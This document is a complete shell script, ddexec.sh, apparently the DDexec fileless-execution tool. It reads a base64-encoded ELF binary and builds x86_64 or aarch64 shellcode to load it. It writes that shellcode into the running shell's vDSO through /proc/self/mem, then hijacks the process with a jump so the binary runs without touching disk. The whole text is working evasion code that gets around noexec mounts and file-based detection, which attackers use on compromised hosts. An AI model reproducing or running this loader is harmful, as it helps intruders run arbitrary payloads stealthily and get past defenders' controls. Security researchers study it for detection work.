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ddexec.sh
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ddexec.sh
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#!/bin/sh
# Prepend the shellcode with an infinite loop (so you can attach to it with gdb)
# Then in gdb just use `set $pc+=2' and you will be able to `si'.
# In ARM64 use `set $pc+=4'.
if [ -z "$DEBUG" ]; then DEBUG=0; fi
# If the seeker binary is not executable by your user, you may try to run it
# through the loader (typically ld.so).
if [ -z "$USE_INTERP" ]; then USE_INTERP=0; fi
# Currently tail is the default binary used to lseek() through the mem file.
if [ -z "$SEEKER" ]; then seeker=tail; else seeker="$SEEKER"; fi
seeker=$(command -v "$seeker") # Harry Potter vibes? Nah.
realname=$(basename $(readlink -f $seeker))
if [ -z ${realname##*box*} ] # Busybox / Toybox
then
seeker=$(command -v "dd")
fi
# Endian conversion
endian()
{
echo -n ${1:14:2}${1:12:2}${1:10:2}${1:8:2}${1:6:2}${1:4:2}${1:2:2}${1:0:2}
}
sc_chunk()
{
echo "$sc_array" | grep -w $1 | cut -f2
}
# search_section "file" $filename $section
# search_section "bin" "" $section (and the binary through stdin)
search_section()
{
local data=""
if [ $1 = "file" ]
then
local header=$(od -v -t x1 -N 64 $2 | head -n -1 |\
cut -d' ' -f 2- | tr -d ' \n')
else
read -r data
local header=$(echo -n $data | base64 -d | od -v -t x1 -N 64 |\
head -n -1 | cut -d' ' -f 2- | tr -d ' \n')
fi
# I'm not commenting this, RTFM.
local shoff=${header:80:16}
shoff=$(endian $shoff)
shoff=$((0x$shoff))
local shentsize=${header:116:4}
shentsize=$(endian $shentsize)
shentsize=$((0x$shentsize))
local shentnum=${header:120:4}
shentnum=$(endian $shentnum)
shentnum=$((0x$shentnum))
local shsize=$((shentnum * shentsize))
local shstrndx=${header:124:4}
shstrndx=$(endian $shstrndx)
shstrndx=$((0x$shstrndx))
if [ $1 = "file" ]
then
sections=$(od -v -t x1 -N $shsize -j $shoff $2 | head -n-1 |\
cut -d' ' -f2- | tr -d ' \n')
else
sections=$(echo -n $data | base64 -d | od -v -t x1 -N $shsize -j \
$shoff | head -n-1 | cut -d' ' -f2- | tr -d ' \n')
fi
local shstrtab_off=$((((shstrndx * shentsize) + 24) * 2))
shstrtab_off=${sections:$shstrtab_off:16}
shstrtab_off=$(endian $shstrtab_off)
shstrtab_off=$((0x$shstrtab_off))
local shstrtab_size=$((((shstrndx * shentsize) + 32) * 2))
shstrtab_size=${sections:$shstrtab_size:16}
shstrtab_size=$(endian $shstrtab_size)
shstrtab_size=$((0x$shstrtab_size))
if [ $1 = "file" ]
then
local strtab=$(od -v -t x1 -N $shstrtab_size -j $shstrtab_off $2 |\
head -n-1 | cut -d' ' -f2- | tr -d ' \n')
else
local strtab=$(echo -n $data | base64 -d | od -v -t x1 -N \
$shstrtab_size -j $shstrtab_off | head -n-1 |\
cut -d' ' -f2- | tr -d ' \n')
fi
for i in $(seq 0 $((shentnum - 1)))
do
local section=${sections:$((i * shentsize * 2)):$((shentsize * 2))}
local section_name_idx=$((0x$(endian ${section:0:8})))
local name=$(echo -n $3 | od -v -t x1 | head -n-1 | cut -d' ' -f2- |\
tr -d ' \n')00
local section_name=${strtab:$section_name_idx * 2:${#name}}
if [ $section_name = $name ]
then
local section_off=${section:24 * 2:16}
section_off=$(endian $section_off)
section_off=$((0x$section_off))
local section_addr=${section:16 * 2:16}
section_addr=$(endian $section_addr)
section_addr=$((0x$section_addr))
local section_size=${section:32 * 2:16}
section_size=$(endian $section_size)
section_size=$((0x$section_size))
local section_size_ent=${section:56 * 2:16}
section_size_ent=$(endian $section_size_ent)
section_size_ent=$((0x$section_size_ent))
echo -n $section_off $section_size $section_addr $section_size_ent
break
fi
done
}
### TODO: SHF_COMPRESSED sections ###
# shellcode_loader "bin"
# shellcode_loader "file" $filename $base $pathaddr
shellcode_loader()
{
if [ $1 = "bin" ]
then
local header=$(echo $bin | base64 -d | od -t x1 -N 64 | head -n-1 |\
cut -d' ' -f2- | tr -d ' \n')
else
local header=$(od -tx1 -N 64 $2 | head -n-1 | cut -d' ' -f2- |\
tr -d ' \n')
fi
local phoff=$((0x$(endian ${header:64:16})))
local phentsize=$((0x$(endian ${header:108:4})))
local phnum=$((0x$(endian ${header:112:4})))
local phsize=$(($phnum * $phentsize))
if [ $1 = "bin" ]
then
local phtab=$(echo $bin | base64 -d | od -vtx1 -N $phsize -j $phoff |\
head -n-1 | cut -d' ' -f2- | tr -d ' \n')
else
local phtab=$(od -vtx1 -N $phsize -j $phoff $2 | head -n-1 |\
cut -d' ' -f2- | tr -d ' \n')
fi
local base=0
local entry=$((0x$(endian ${header:48:16})))
if [ ${header:32:4} = "0300" ] # PIE binaries (e_type == ET_DYN)
then
if [ $1 = "bin" ]
then
base=$((0x400000))
else
base=$((0x$3))
fi
entry=$((entry + base))
fi
local writebin=""
local sc=""
if [ $1 = "bin" ]
then
sc=$sc$(eval echo $(sc_chunk prep)) # Prepare for the mmap()s
else
# open() and prepare for the mmap()s
sc=$sc$(eval echo $(sc_chunk openprep))
fi
for i in $(seq 0 $((phnum - 1)))
do
local phent=${phtab:$((i * phentsize * 2)):$((phentsize * 2))}
local phenttype=${phent:0:8}
local prot=$(endian ${phent:8:8})
if [ $phenttype = "51e57464" ] # type == GNU_STACK
then
if [ $((0x$prot & 1)) -eq 1 ] # Stack must be executable
then
local stack_bottom=$(echo "$shell_maps" | grep -F "[stack]" |\
cut -d' ' -f1)
local stack_top=$(echo $stack_bottom | cut -d'-' -f2)
local stack_bottom=0000$(echo $stack_bottom | cut -d'-' -f1)
local stack_size=$((0x$stack_top - 0x$stack_bottom))
stack_size=$(printf %08x $stack_size)
sc=$sc$(eval echo $(sc_chunk stackexe))
fi
continue
fi
if [ $phenttype != "01000000" ]; then continue; fi # type != LOAD
local offset=$(endian ${phent:16:16})
local virt=$(endian ${phent:32:16})
local fsize=$(endian ${phent:64:16})
local memsz=$(endian ${phent:80:16})
virt=$(printf %016x $((0x$virt + base)))
local finalvirt=$(((0x$virt + 0x$memsz + 0xfff) & (~0xfff)))
local origvirt=$virt
virt=$((0x$virt & (~0xfff))) # The mapping must be aligned
memsz=$((finalvirt - virt)) # True size of the mapping
memsz=$(printf %08x $memsz)
virt=$(printf %016x $virt)
local perm=0
if [ $((0x$prot & 1)) -eq 1 ]; then perm=$((perm | 4)); fi
if [ $((0x$prot & 2)) -eq 2 ]; then perm=$((perm | 2)); fi
if [ $((0x$prot & 4)) -eq 4 ]; then perm=$((perm | 1)); fi
perm=$(printf %08x $perm)
if [ $1 = "bin" ]
then
# mmap() (RW) & read() (preventing underflow) & mprotect()
sc=$sc$(eval echo $(sc_chunk mrmbin))
# Pieces of the binary that we need to write
# (we only load things the binary itself asks us to)
writebin=$writebin$(echo $bin | base64 -d | od -v -t x1 -N \
$((0x$fsize)) -j $((0x$offset)) |\
head -n-1 | cut -d' ' -f2- | tr -d ' \n')
else
# mmap requires the offset to be aligned to 0x1000 too
local off=$((0x$offset & (~0xfff)))
off=$(printf %016x $off)
local sc2=""
local filelen=$((($(wc -c < $2) + 0xfff) & (~0xfff)))
# If the mapping exceeds the file, split it into two
# (some Linux distros, like Alpine, don't like it otherwise)
if [ $((0x$off + 0x$memsz)) -gt $filelen ]
then
local diff=$((0x$off + 0x$memsz - $filelen))
memsz=$((0x$memsz - diff))
local virt2=$((0x$virt + memsz))
virt2=$(printf %016x $virt2)
memsz=$(printf %08x $memsz)
diff=$(printf %08x $diff)
sc2=$sc2$(eval echo $(sc_chunk mrmfile2)) # mmap()
fi
sc=$sc$(eval echo $(sc_chunk mrmfile)) # mmap()
sc=$sc$sc2
fi
if [ $((0x$offset)) -le $phoff ] &&
[ $phoff -lt $((0x$offset + 0x$fsize)) ]
then
phaddr=$((phoff - 0x$offset + 0x$origvirt))
fi
done
entry=$(endian $(printf %016x $entry))
# Zero the bss
local bss_addr=0
if [ $1 = "file" ]
then
sc=$sc$(eval echo $(sc_chunk close)) # close()
bss_addr=$(search_section file $2 .bss | cut -d' ' -f3)
else
bss_addr=$(echo -n $bin | search_section bin "" .bss | cut -d' ' -f3)
fi
if [ -n "$bss_addr" ]
then
bss_addr=$((bss_addr + base))
# Zero until the end of page
local bss_size=$((finalvirt - bss_addr))
bss_addr=$(printf %016x $bss_addr)
bss_size=$(printf %08x $((bss_size >> 3)))
sc=$sc$(eval echo $(sc_chunk zerobss))
fi
phnum=$(endian $(printf %016x $phnum))
phentsize=$(endian $(printf %016x $phentsize))
phaddr=$(endian $(printf %016x $phaddr))
echo -n "$sc $writebin $phnum $phentsize $phaddr $entry"
}
# craft_stack $phaddr $phentsize $phnum $ld_base $entry $argv0 .. $argvn
craft_stack()
{
local stack_top=$(echo "$shell_maps" | grep -F "[stack]" |\
cut -d' ' -f1 | cut -d'-' -f2)
# Calculate position of argv[0]
args_len=$(echo "$@" | cut -d' ' -f6- | wc -c)
argv0_addr=$((0x$stack_top - 8 - $args_len))
# Place arguments for main()
local count=0
local stack=$(endian $(printf %016x $(($# - 5)))) # argc
local argvn_addr=$argv0_addr
local args=""
for arg in "$@"
do
if [ $count -lt 5 ]; then count=$((count + 1)); continue; fi;
stack=$stack$(endian $(printf %016x $argvn_addr)) # argv[n]
args=$args$(printf "%s" "$arg" | od -v -t x1 | head -n -1 |\
cut -d' ' -f 2- | tr -d ' \n')00
argvn_addr=$((argvn_addr + ${#arg} + 1))
done
# argv[argc] = NULL; envp[0] = NULL;
stack=$stack"00000000000000000000000000000000"
if [ -n "$args" ]
then
for i in $(seq $((argv0_addr - (argv0_addr & (~7)))))
do
args="00"$args
done
fi
local at_random=$(((argv0_addr & (~7)) - 16))
# Keep the stack aligned (following orders from System V)
if [ $((((${#stack} + ${#args}) / 2) & 0xf)) -eq 0 ]
then
args="0000000000000000"$args
at_random=$((at_random - 8))
fi
# Auxiliary vector
at_random=$(endian $(printf %016x $at_random))
local auxv=""
auxv=$auxv"0300000000000000"$1 # phaddr
auxv=$auxv"0400000000000000"$2 # phentsize
auxv=$auxv"0500000000000000"$3 # phnum
if [ -n "$4" ]
then
auxv=$auxv"0700000000000000"$(endian $4) # ld_base
fi
auxv=$auxv"0900000000000000"$5 # entry
auxv=$auxv"1900000000000000"$at_random # AT_RANDOM
auxv=$auxv"0600000000000000""0010000000000000" # AT_PAGESZ
auxv=$auxv"0000000000000000""0000000000000000" # AT_NULL
auxv=$auxv"aaaaaaaaaaaaaaaa""bbbbbbbbbbbbbbbb" # Should be two random values
stack=$stack$auxv$args"0000000000000000" # NULL at the end of the stack
# read() all this data into the stack and make the sp point to it
local sc=""
local stack_len=$((${#stack} / 2))
local sp=$(printf %016x $((0x$stack_top - $stack_len)))
stack_len=$(printf %08x $stack_len)
sc=$sc$(eval echo $(sc_chunk stack))
# Reuse canary and PTR_MANGLE key, place them in AT_RANDOM field of the auxv
sc=$sc
sc=$sc$(eval echo $(sc_chunk canary))
echo -n $stack $sc
}
craft_shellcode()
{
local sc=""
# Load binary
local loadbinsc=$(shellcode_loader bin)
local writebin=$(echo $loadbinsc | cut -d' ' -f2)
local phnum=$(echo $loadbinsc | cut -d' ' -f3)
local phentsize=$(echo $loadbinsc | cut -d' ' -f4)
local phaddr=$(echo $loadbinsc | cut -d' ' -f5)
local entry=$(echo $loadbinsc | cut -d' ' -f6)
sc=$sc$(echo $loadbinsc | cut -d' ' -f1)
# Where to load the loader
if [ -n "$interp" ]
then
local ld_base=0000$(echo "$shell_maps" | grep `readlink -f $interp` |\
head -n1 | cut -d'-' -f1)
if [ $((0x$ld_base)) -eq 0 ] # The shell may be static or using musl
then
ld_base="00000000fffff000"
fi
fi
### Initial stack structures. Arguments and a rudimentary auxv ###
local stack=$(craft_stack $phaddr $phentsize $phnum "$ld_base" $entry "$@")
sc=$sc$(echo $stack | cut -d' ' -f2)
stack=$(echo $stack | cut -d' ' -f1)
# The shell has the stdin pointing to a pipe, so we make dup2(2, 0)
sc=$sc$(eval echo $(sc_chunk dup))
if [ -n "$interp" ] # Dynamic binary
then
# Load the loader (wait... a-are we the kernel now?)
local loadldsc=$(shellcode_loader file $interp $ld_base)
sc=$sc$(echo $loadldsc | cut -d' ' -f1)
# Jump to the loader and let it do the rest
ld_start_addr=$(od -t x8 -j 24 -N 8 $interp | head -n1 | cut -d' ' -f2)
ld_start_addr=$((0x$ld_start_addr + 0x$ld_base))
ld_start_addr=$(printf %016x $ld_start_addr)
sc=$sc$(eval echo $(sc_chunk jmpld))
else # Static binary
sc=$sc$(eval echo $(sc_chunk jmpbin)) # Just jump to the binary's entry
fi
# Nothing happened here, this program never existed.
# It was all a dream!
sc=$sc$(eval echo $(sc_chunk jmp))
if [ $DEBUG -eq 1 ]; then sc=$(eval echo $(sc_chunk loop))$sc; fi
printf "$sc $writebin$stack"
}
arch=$(uname -m)
if [ "$arch" = "x86_64" ]
then
sc_array='prep 4d31c04d89c149f7d041ba32000000
openprep 4831c04889c6b00248bf________________0f054989c041ba12000000
stackexe 4831c0b00a48bf$(endian $stack_bottom)be$(endian $stack_size)ba070000000f05
mrmbin 4831c0b00948bf$(endian $virt)be$(endian $memsz)ba030000000f054831ff48be$(endian $origvirt)48ba$(endian $fsize)4889f80f054829c24801c64885d275f04831c0b00a48bf$(endian $virt)be$(endian $memsz)ba$(endian $perm)0f05
mrmfile2 4d89c44d31c04d89c149f7d041ba320000004831c0b00948bf$(endian $virt2)be$(endian $diff)ba$(endian $perm)0f054d89e0
mrmfile 4831c0b00948bf$(endian $virt)be$(endian $memsz)ba$(endian $perm)49b9$(endian $off)0f05
close 4831c0b0034c89c70f05
zerobss 4831c0b9$(endian $bss_size)48bf$(endian $bss_addr)f348ab
stack 48bc$(endian $sp)4831ff4889e6ba$(endian $stack_len)4889f80f0529c24801c685d275f3
canary 48bb${at_random}64488b04252800000048890380c30864488b042530000000488903
dup 4831c04889c6b0024889c7b0210f05
jmpld 48b8$(endian $ld_start_addr)
jmpbin 48b8$entry
jmp ffe0
loop ebfe
'
elif [ "$arch" = "aarch64" ]
then
sc_array='prep 430680d204008092a50005ca
openprep 080780d2600c8092420002ca________________010000d4e40300aa430280d2
stackexe 481c80d24000005803000014$(endian $stack_bottom)4100005803000014$(endian 00000000$stack_size)4200005803000014$(endian 0000000000000007)010000d4
mrmbin c81b80d24000005803000014$(endian $virt)4100005803000014$(endian 00000000$memsz)4200005803000014$(endian 0000000000000003)010000d4e80780d24100005803000014$(endian $origvirt)4200005803000014$(endian $fsize)000000ca010000d4420000cb2100008b5f0000f161ffff54481c80d24000005803000014$(endian $virt)4100005803000014$(endian 00000000$memsz)4200005803000014$(endian 00000000$perm)010000d4
mrmfile2 f30304aa04008092a50005ca430680d2c81b80d24000005803000014$(endian $virt2)4100005803000014$(endian 00000000$diff)4200005803000014$(endian 00000000$perm)010000d4e40313aa
mrmfile c81b80d24000005803000014$(endian $virt)4100005803000014$(endian 00000000$memsz)4200005803000014$(endian 00000000$perm)4500005803000014$(endian $off)010000d4
close 280780d2e00304aa010000d4
zerobss 4000005803000014$(endian $bss_addr)4100005803000014$(endian 00000000$bss_size)1f8400f8210400d13f0000f1a1ffff54
stack 4000005803000014$(endian $sp)1f0000914200005803000014$(endian 00000000$stack_len)e80780d2e1030091000000ca010000d4420000cb2100008b5f0000f161ffff54
canary
dup 080380d2400080d2010080d2010000d4
jmpld 4000005803000014$(endian $ld_start_addr)
jmpbin 4000005803000014$entry
jmp 00001fd6
loop 00000014
'
else
echo "DDexec: Error, this architecture is not supported." >&2
exit 1
fi
# Program we are trying to run
read -r bin
shell=$(readlink -f /proc/$$/exe)
# Make zsh behave somewhat like bash
if [ -n "$($shell --version 2> /dev/null | grep zsh)" ]
then
setopt SH_WORD_SPLIT
setopt KSH_ARRAYS
fi
# Interpreter (loader) for the binary
interp_off=$(echo -n $bin | search_section bin "" .interp)
if [ -n "$interp_off" ]
then
interp_size=$(echo "$interp_off" | cut -d' ' -f2)
interp_off=$(echo "$interp_off" | cut -d' ' -f1)
interp=$(echo $bin | base64 -d | tail -c +$(($interp_off + 1)) |\
head -c $((interp_size - 1)))
fi
# Interpreter (loader) for our seeker
if [ $USE_INTERP -eq 1 ]
then
interp_off=$(search_section file $seeker .interp)
if [ -n "interp_off" ]
then
interp_size=$(echo $interp_off | cut -d' ' -f2)
interp_off=$(echo $interp_off | cut -d' ' -f1)
interp_=$(tail -c +$(($interp_off + 1)) $seeker |\
head -c $((interp_size - 1)))
fi
fi
# Shell's mappings
shell_maps=$(cat /proc/$$/maps)
shell_base=$(echo "$shell_maps" | grep -w $shell |\
head -n1 | cut -d'-' -f1)
# The shellcode will be written into the vDSO
vdso_addr=$((0x$(echo "$shell_maps" | grep -F "[vdso]" | cut -d'-' -f1)))
## Payload: Shellcode, needed parts of the binary & stack's initial content
sc=$(craft_shellcode "$@")
data=$(echo $sc | cut -d' ' -f2)
sc=$(echo $sc | cut -d' ' -f1)
sc_len=$((${#sc} / 2))
sc=$sc$(echo -n $interp | od -vtx1 | head -n-1 | cut -d' ' -f2- | tr -d ' \n')00
if [ "$arch" = "x86_64" ]
then
interp_addr=$(printf %016x $((vdso_addr + sc_len)))
sc=${sc/________________/$(endian $interp_addr)}
elif [ "$arch" = "aarch64" ]
then
# Relative addressing
pos=${sc%%_*}
pos=$((${#pos} / 2))
rel=$((((((sc_len - pos) >> 2) << 5) | 1) | (16 << 24)))
rel=$(endian $(printf %08x $rel))"1f2003d5"
sc=${sc/________________/$rel}
fi
sc_len=$((${#sc} / 2))
# Trampoline to jump to the shellcode
if [ "$arch" = "x86_64" ]
then
jmp="48b8"$(endian $(printf %016x $vdso_addr))"ffe0"
elif [ "$arch" = "aarch64" ]
then
jmp="4000005800001fd6"$(endian $(printf %016x $vdso_addr))
fi
# echo $sc $data
sc=$(printf $sc | sed 's/../\\x&/g')
data=$(printf $data | sed 's/../\\x&/g')
jmp=$(printf $jmp | sed 's/../\\x&/g')
read syscall_info < /proc/self/syscall
addr=$(($(echo $syscall_info | cut -d' ' -f9)))
exec 0< <(printf $data)
exec 3>/proc/self/mem
# Arguments' format for the chosen seeker
if [ -z "$SEEKER_ARGS" ]
then
if [ $(basename $seeker) = "tail" ]
then
SEEKER_ARGS='-c +$(($offset + 1))'
elif [ $(basename $seeker) = "dd" ]
then
SEEKER_ARGS='bs=1 skip=$offset'
elif [ $(basename $seeker) = "hexdump" ]
then
SEEKER_ARGS='-s $offset'
elif [ $(basename $seeker) = "cmp" ]
then
SEEKER_ARGS='-i $offset /dev/null'
else
echo "DDexec: Unknown seeker. Provide its arguments in SEEKER_ARGS."
exit 1
fi
fi
# Overwrite vDSO with our shellcode
seeker_args=${SEEKER_ARGS/'$offset'/$vdso_addr}
seeker_args="$(eval echo -n \"$seeker_args\")"
$interp_ $seeker $seeker_args <&3 >/dev/null 2>&1
printf $sc >&3
exec 3>&-
exec 3>/proc/self/mem
# Write jump instruction where it will be found shortly
seeker_args=${SEEKER_ARGS/'$offset'/$addr}
seeker_args="$(eval echo -n \"$seeker_args\")"
$interp_ $seeker $seeker_args <&3 >/dev/null 2>&1
printf $jmp >&3